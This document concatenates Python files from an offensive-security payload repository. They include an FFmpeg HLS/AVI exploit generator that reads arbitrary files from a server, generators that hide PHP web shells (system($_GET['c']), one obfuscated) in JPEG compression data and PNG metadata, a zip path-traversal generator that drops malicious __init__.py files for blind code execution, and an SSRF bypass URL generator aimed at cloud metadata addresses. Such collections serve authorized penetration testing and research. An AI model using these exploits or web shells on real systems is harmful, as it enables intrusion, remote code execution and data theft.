swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py
Upload Insecure Files/CVE FFmpeg HLS/gen_xbin_avi.py
#!/usr/bin/env python3 from builtins import bytes from builtins import map from builtins import zip from builtins import range import struct import argparse import random import string AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST movi" ECHO_TEMPLATE = """### echoing {needed!r} #EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv} #EXTINF:1, #EXT-X-BYTERANGE: 16 /dev/zero #EXT-X-KEY: METHOD=NONE """ # AES.new('\x00'*16).decrypt('\x00'*16) GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:' FULL_PLAYLIST = """#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 {content} #### random string to prevent caching: {rand} #EXT-X-ENDLIST""" EXTERNAL_REFERENCE_PLAYLIST = """ #### External reference: reading {size} bytes from {filename} (offset {offset}) #EXTINF:1, #EXT-X-BYTERANGE: {size}@{offset} {filename} """ XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00' def echo_block(block): assert len(block) == 16 iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)])) return ECHO_TEMPLATE.format(needed=block, iv=iv) def gen_xbin_sync(): seq = [] for i in range(60): if i % 2: seq.append(0) else: seq.append(128 + 64 - i - 1) for i in range(4, 0, -1): seq.append(128 + i - 1) seq.append(0) seq.append(0) for i in range(12, 0, -1): seq.append(128 + i - 1) seq.append(0) seq.append(0) return seq def test_xbin_sync(seq): for start_ind in range(64): path = [start_ind] cur_ind = start_ind while cur_ind < len(seq): if seq[cur_ind] == 0: cur_ind += 3 else: assert seq[cur_ind] & (64 + 128) == 128 cur_ind += (seq[cur_ind] & 63) + 3 path.append(cur_ind) assert cur_ind == len(seq), "problem for path {}".format(path) def echo_seq(s): assert len(s) % 16 == 0 res = [] for i in range(0, len(s), 16): res.append(echo_block(s[i:i + 16])) return ''.join(res) test_xbin_sync(gen_xbin_sync()) SYNC = echo_seq(gen_xbin_sync()) def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3): content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii') packet = b'00tx' + struct.pack('<I', len(content)) + content dcpkt = b'00dc' + struct.pack('<I', fake_packet_len) + b'\x00' * fake_packet_len return AVI_HEADER + packet + dcpkt * fake_packets def gen_xbin_packet_header(size): return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10]) def gen_xbin_packet_playlist(filename, offset, packet_size): result = [] while packet_size > 0: packet_size -= 16 assert packet_size > 0 part_size = min(packet_size, 64) packet_size -= part_size result.append(echo_block(gen_xbin_packet_header(part_size))) result.append( EXTERNAL_REFERENCE_PLAYLIST.format( size=part_size, offset=offset, filename=filename)) offset += part_size return ''.join(result), offset def gen_xbin_playlist(filename_to_read): pls = [echo_block(XBIN_HEADER)] next_delta = 5 for max_offs, filename in ( (5000, filename_to_read), (500, "file:///dev/zero")): offset = 0 while offset < max_offs: for _ in range(10): pls_part, new_offset = gen_xbin_packet_playlist( filename, offset, 0xf0 - next_delta) pls.append(pls_part) next_delta = 0 offset = new_offset pls.append(SYNC) return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join( random.choice(string.ascii_lowercase) for i in range(30))) if __name__ == "__main__": parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator') parser.add_argument( 'filename', help='filename to be read from the server (prefix it with "file://")') parser.add_argument('output_avi', help='where to save the avi') args = parser.parse_args() assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)" content = gen_xbin_playlist(args.filename) avi = make_playlist_avi(content) output_name = args.output_avi with open(output_name, 'wb') as f: f.write(avi)
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/Picture Compression/createBulletproofJPG.py
Upload Insecure Files/Picture Compression/createBulletproofJPG.py
#!/usr/bin/python """ Bulletproof Jpegs Generator Copyright (C) 2012 Damien "virtualabs" Cauquil This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. ------------- # How to use b.php?c=ls Source: http://www.virtualabs.fr/Nasty-bulletproof-Jpegs-l """ from __future__ import print_function from future import standard_library standard_library.install_aliases() from builtins import range import struct,sys,os import gd from io import StringIO from random import randint,shuffle from time import time # image width/height (square) N = 32 def insertPayload(_in, _out, payload,off): """ Payload insertion (quick JPEG parsing and patching) """ img = _in # look for 'FF DA' (SOS) sos = img.index("\xFF\xDA") sos_size = struct.unpack('>H',img[sos+2:sos+4])[0] sod = sos_size+2 # look for 'FF D9' (EOI) eoi = img[sod:].index("\xFF\xD9") # enough size ? if (eoi - sod - off)>=len(payload): _out.write(img[:sod+sos+off]+payload+img[sod+sos+len(payload)+off:]) return True else: return False if __name__=='__main__': print("[+] Virtualabs' Nasty bulletproof Jpeg generator") print(" | website: http://virtualabs.fr") print(" | contact: virtualabs -at- gmail -dot- com") print("") payloads = ["<?php system(/**/$_GET['c'/**/]); ?>","<?php /**/system($_GET[chr(99)/**/]); ?>","<?php system(/**/$_GET[chr(99)]); ?>","<?php\r\nsystem($_GET[/**/'c']);\r\n ?>"] # make sure the exploit-jpg directory exists or create it if os.path.exists('exploit-jpg') and not os.path.isdir('exploit-jpg'): print("[!] Please remove the file named 'exploit-jpg' from the current directory") elif not os.path.exists('exploit-jpg'): os.mkdir('exploit-jpg') # start generation print('[i] Generating ...') for q in list(range(50,100))+[-1]: # loop over every payload for p in payloads: # not done yet done = False start = time() # loop while not done and timeout not reached while not done and (time()-start)<10.0: # we create a NxN pixels image, true colors img = gd.image((N,N),True) # we create a palette pal = [] for i in range(N*N): pal.append(img.colorAllocate((randint(0,256),randint(0,256),randint(0,256)))) # we shuffle this palette shuffle(pal) # and fill the image with it pidx = 0 for x in range(N): for y in range(N): img.setPixel((x,y),pal[pidx]) pidx+=1 # write down the image out_jpg = StringIO('') img.writeJpeg(out_jpg,q) out_raw = out_jpg.getvalue() # now, we try to insert the payload various ways for i in range(64): test_jpg = StringIO('') if insertPayload(out_raw,test_jpg,p,i): try: # write down the new jpeg file f = open('exploit-jpg/exploit-%d.jpg'%q,'wb') f.write(test_jpg.getvalue()) f.close() # load it with GD test = gd.image('exploit-jpg/exploit-%d.jpg'%q) final_jpg = StringIO('') test.writeJpeg(final_jpg,q) final_raw = final_jpg.getvalue() # does it contain our payload ? if p in final_raw: # Yay ! print('[i] Jpeg quality %d ... DONE'%q) done = True break except IOError as e: pass else: break if not done: # payload not found, we remove the file os.unlink('exploit-jpg/exploit-%d.jpg'%q) else: break
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/Configuration Python __init__.py/python-generate-init.py
Upload Insecure Files/Configuration Python __init__.py/python-generate-init.py
# Generating "evil" zip file # Based on the work of Ajin Abraham # Vuln website : https://github.com/ajinabraham/bad_python_extract # More info : https://ajinabraham.com/blog/exploiting-insecure-file-extraction-in-python-for-code-execution # Warning 1: need a restart from the server OR debug=True # Warning 2: you won't get the output of the command (blind rce) import zipfile directories = ["conf", "config", "settings", "utils", "urls", "view", "tests", "scripts", "controllers", "modules", "models", "admin", "login"] for d in directories: name = "python-"+d+"-__init__.py.zip" zipf = zipfile.ZipFile(name, 'w', zipfile.ZIP_DEFLATED) zipf.close() z_info = zipfile.ZipInfo(r"../"+d+"/__init__.py") z_file = zipfile.ZipFile(name, mode="w") # "/home/swissky/Bureau/"+ z_file.writestr(z_info, "import os;print 'Shell';os.system('ls');") z_info.external_attr = 0o777 << 16 z_file.close()
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Upload Insecure Files/Picture Metadata/Build_image_to_LFI.py
Upload Insecure Files/Picture Metadata/Build_image_to_LFI.py
from __future__ import print_function from PIL import Image # Shellcodes - Bypass included : Keyword Recognition : System, GET, php # --- How to use : http://localhost/shell.php?c=echo%20'<pre>';ls #shellcode = "<?=@`$_GET[c]`;" shellcode = "<?php system($_GET['c']); ?>" # --- How to use : http://localhost/shell.php?_=system&__=echo%20'<pre>';ls shellcode2 = "<?='Sh3ll'; $_='{';$_=($_^'<').($_^'>;').($_^'/');?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>" print("\n[+] Advanced Upload - Shell inside metadatas of a PNG file") # Create a backdoored PNG print(" - Creating a payload.png") im = Image.new("RGB", (10,10), "Black") im.info["shell"] = shellcode reserved = ('interlace', 'gamma', 'dpi', 'transparency', 'aspect') # undocumented class from PIL import PngImagePlugin meta = PngImagePlugin.PngInfo() # copy metadata into new object for k,v in im.info.items(): if k in reserved: continue meta.add_text(k, v, 0) im.save("payload.png", "PNG", pnginfo=meta) print("Done")
python
MIT
a711494a640a6116345496595be4a9b8a41b8ac0
2026-01-04T14:38:17.727129Z
false
swisskyrepo/PayloadsAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/a711494a640a6116345496595be4a9b8a41b8ac0/Server Side Request Forgery/Files/ip.py
Server Side Request Forgery/Files/ip.py
#!/usr/bin/python # coding=utf-8 # https://raw.githubusercontent.com/cujanovic/SSRF-Testing/master/ip.py from __future__ import print_function from builtins import oct from builtins import str from builtins import hex from builtins import range from random import * from io import open import datetime import string import os import sys import platform import random EnclosedAlphanumericsData = { '0' : ['⓪'], '1' : ['①'], '2' : ['②'], '3' : ['③'], '4' : ['④'], '5' : ['⑤'], '6' : ['⑥'], '7' : ['⑦'], '8' : ['⑧'], '9' : ['⑨'], '10' : ['⑩'], '11' : ['⑪'], '12' : ['⑫'], '13' : ['⑬'], '14' : ['⑭'], '15' : ['⑮'], '16' : ['⑯'], '17' : ['⑰'], '18' : ['⑱'], '19' : ['⑲'], '20' : ['⑳'], '.' : ['。','。'], 'a' : ['ⓐ'], 'b' : ['ⓑ'], 'c' : ['ⓒ'], 'd' : ['ⓓ'], 'e' : ['ⓔ'], 'f' : ['ⓕ'], 'x' : ['ⓧ'], } def RANDOM_TEXT_SPEC(): min_char = 12 max_char = 16 chars = string.ascii_letters + string.digits + "!$%^&*()<>;:,.|\~`" return "".join(choice(chars) for x in range(randint(min_char, max_char))) def RANDOM_TEXT(): min_char = 12 max_char = 16 chars = string.ascii_letters + string.digits return "".join(choice(chars) for x in range(randint(min_char, max_char))) def DECIMAL_SINGLE(NUMBER,STEP): return int(NUMBER)*(256**STEP) def HEX_SINGLE(NUMBER,ADD0X): if ADD0X == "yes": return str(hex(int(NUMBER))) else: return str(hex(int(NUMBER))).replace("0x","") def OCT_SINGLE(NUMBER): return str(oct(int(NUMBER))).replace("o","") def DEC_OVERFLOW_SINGLE(NUMBER): return str(int(NUMBER)+256) def validIP(address): parts = address.split(".") if len(parts) != 4: return False try: for item in parts: if not 0 <= int(item) <= 255: return False except ValueError: print("\nUsage: python "+sys.argv[0]+" IP EXPORT(optional)\nUsage: python "+sys.argv[0]+" 169.254.169.254\nUsage: python "+sys.argv[0]+" 169.254.169.254 export") exit(1) return True def plain2EnclosedAlphanumericsChar(s0): if s0 not in EnclosedAlphanumericsData: raise Exception('value not found') return random.choice(EnclosedAlphanumericsData[s0]) def convertIP2EnclosedAlphanumericsValue(): IPAddressParts4EnclosedAlphanumerics = arg1.split(".") returnEnclosedAlphanumericsIPAddress = "" for x in range(0,4): if len(IPAddressParts4EnclosedAlphanumerics[x]) == 3 and (int(IPAddressParts4EnclosedAlphanumerics[x][0]+IPAddressParts4EnclosedAlphanumerics[x][1])) <= 20 and (int(IPAddressParts4EnclosedAlphanumerics[x][0]+IPAddressParts4EnclosedAlphanumerics[x][1]+IPAddressParts4EnclosedAlphanumerics[x][2])) >= 10: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][0]+IPAddressParts4EnclosedAlphanumerics[x][1]); returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][2]); if x <= 2: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar('.'); else: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][0]); if len(IPAddressParts4EnclosedAlphanumerics[x]) >= 2: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][1]); if len(IPAddressParts4EnclosedAlphanumerics[x]) == 3: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar(IPAddressParts4EnclosedAlphanumerics[x][2]); if x <= 2: returnEnclosedAlphanumericsIPAddress = returnEnclosedAlphanumericsIPAddress + plain2EnclosedAlphanumericsChar('.'); return returnEnclosedAlphanumericsIPAddress def convert(s, recurse_chunks=True, error_on_miss=False): if s in EnclosedAlphanumericsData: return random.choice(EnclosedAlphanumericsData[s]) if recurse_chunks and len(s) > 1: return convert(s[:-1]) + convert(s[-1]) if error_on_miss: raise Exception('Value not found: %s' % s) return s def convert_ip(ip, sep='.'): return convert(sep).join([convert(chunk) for chunk in ip.split(sep)]) if len(sys.argv) < 4 or len(sys.argv) >= 6: print("\nUsage: python "+sys.argv[0]+" IP PORT WhiteListedDomain EXPORT(optional)\nUsage: python "+sys.argv[0]+" 169.254.169.254 80 www.google.com\nUsage: python "+sys.argv[0]+" 169.254.169.254 80 www.google.com export") exit(1) redcolor='\x1b[0;31;40m' greencolor='\x1b[0;32;40m' yellowcolor='\x1b[0;33;40m' bluecolor='\x1b[0;36;40m' resetcolor='\x1b[0m' arg1 = str(sys.argv[1]) if validIP(arg1) == False: print("\n",yellowcolor,arg1,resetcolor,redcolor," is not a valid IPv4 address in dotted decimal format, example: 123.123.123.123",resetcolor,sep='') print("\nUsage: python "+sys.argv[0]+" IP EXPORT(optional)\nUsage: python "+sys.argv[0]+" 169.254.169.254\nUsage: python "+sys.argv[0]+" 169.254.169.254 export") exit(1) ipFrag3, ipFrag2, ipFrag1, ipFrag0 = arg1.split(".") PORT=str(sys.argv[2]) RANDPREFIXTEXT=RANDOM_TEXT() RANDPREFIXTEXTSPEC=RANDOM_TEXT_SPEC() RANDOMPREFIXVALIDSITE=str(sys.argv[3]) FILENAME='' try: sys.argv[4] except IndexError: EXPORTRESULTS='' else: EXPORTRESULTS=str(sys.argv[4]) if EXPORTRESULTS == 'export': FILENAME = "export-" + arg1 + "-" + str(datetime.datetime.now().strftime("%H-%M-%d-%m-%Y"))+'.txt' pythonversion = (platform.python_version()) major, minor, patchlevel = pythonversion.split(".") if major == "3": f = open(FILENAME, 'w') else: f = open(FILENAME, 'wb') elif EXPORTRESULTS != '': print("\nUsage: python "+sys.argv[0]+" IP WhiteListedDomain EXPORT(optional)\nUsage: python "+sys.argv[0]+" 169.254.169.254 80 www.google.com\nUsage: python "+sys.argv[0]+" 169.254.169.254 80 www.google.com export") exit(1) #Case 1 - Dotted hexadecimal print("\n",sep='') print(bluecolor,"Dotted hexadecimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP1 = HEX_SINGLE(ipFrag3,"yes") + "." + HEX_SINGLE(ipFrag2,"yes") + "." + HEX_SINGLE(ipFrag1,"yes") + "." + HEX_SINGLE(ipFrag0,"yes") print('http://',IP1,':',PORT,'/',sep='') print('http://',IP1,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/','/',sep='') print('http://',IP1,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',sep='') print('http://',IP1,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP1,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP1,':',PORT,'/',sep='') print('http://',IP1,':',PORT,':80','/',sep='') print('http://',IP1,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP1,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP1,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP1,':',PORT,'/',file=f,sep='') print('http://',IP1,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP1,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':',PORT,'/',file=f,sep='') #=========================================================================== print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP1,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP1,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP1,':',PORT,'/',file=f,sep='') print('http://',IP1,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP1,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP1,':',PORT,'/',file=f,sep='') print('http://',IP1,':',PORT,':80','/',file=f,sep='') print('http://',IP1,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP1,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP1,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #=========================================================================== #Case 2 - Dotless hexadecimal print(bluecolor,"Dotless hexadecimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP2 = HEX_SINGLE(ipFrag3,"yes") + HEX_SINGLE(ipFrag2,"no") + HEX_SINGLE(ipFrag1,"no") + HEX_SINGLE(ipFrag0,"no") print('http://',IP2,':',PORT,'/',sep='') print('http://',IP2,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP2,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',sep='') print('http://',IP2,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP2,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP2,':',PORT,'/',sep='') print('http://',IP2,':',PORT,':80','/',sep='') print('http://',IP2,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP2,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP2,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP2,':',PORT,'/',file=f,sep='') print('http://',IP2,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP2,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP2,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP2,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP2,':',PORT,'/',file=f,sep='') print('http://',IP2,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP2,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP2,':',PORT,'/',file=f,sep='') print('http://',IP2,':',PORT,':80','/',file=f,sep='') print('http://',IP2,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP2,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP2,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') #Case 3 - Dotless decimal print(bluecolor,"Dotless decimal IP Address of:",resetcolor,yellowcolor," http://",arg1,resetcolor,bluecolor," + authentication prefix/bypass combo list",resetcolor,sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') IP3 = str(DECIMAL_SINGLE(ipFrag3,3) + DECIMAL_SINGLE(ipFrag2,2) + DECIMAL_SINGLE(ipFrag1,1) + DECIMAL_SINGLE(ipFrag0,0)) print('http://',IP3,':',PORT,'/',sep='') print('http://',IP3,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP3,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':','@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':','+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDPREFIXTEXT,'@',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',sep='') print('http://',RANDPREFIXTEXTSPEC,'@',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',sep='') print('http://',IP3,':',PORT,'+&@',RANDOMPREFIXVALIDSITE,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',IP3,':',PORT,'#+@',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',RANDOMPREFIXVALIDSITE,'+&@',RANDOMPREFIXVALIDSITE,'#+@',IP3,':',PORT,'/',sep='') print('http://',IP3,':',PORT,':80','/',sep='') print('http://',IP3,':',PORT,'\\t',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP3,':',PORT,'%09',RANDOMPREFIXVALIDSITE,'/',sep='') print('http://',IP3,':',PORT,'%2509',RANDOMPREFIXVALIDSITE,'/',sep='') print(greencolor,'=========================================================================================================================================',resetcolor,sep='') print("\n",sep='') if EXPORTRESULTS == 'export': print('http://',IP3,':',PORT,'/',file=f,sep='') print('http://',IP3,':',PORT,'?@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',IP3,':',PORT,'#@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDOMPREFIXVALIDSITE,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':',PORT,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':','@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXT,'@',IP3,':',PORT,'+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') print('http://',RANDPREFIXTEXTSPEC,'@',IP3,':','+@',RANDOMPREFIXVALIDSITE,'/',file=f,sep='') 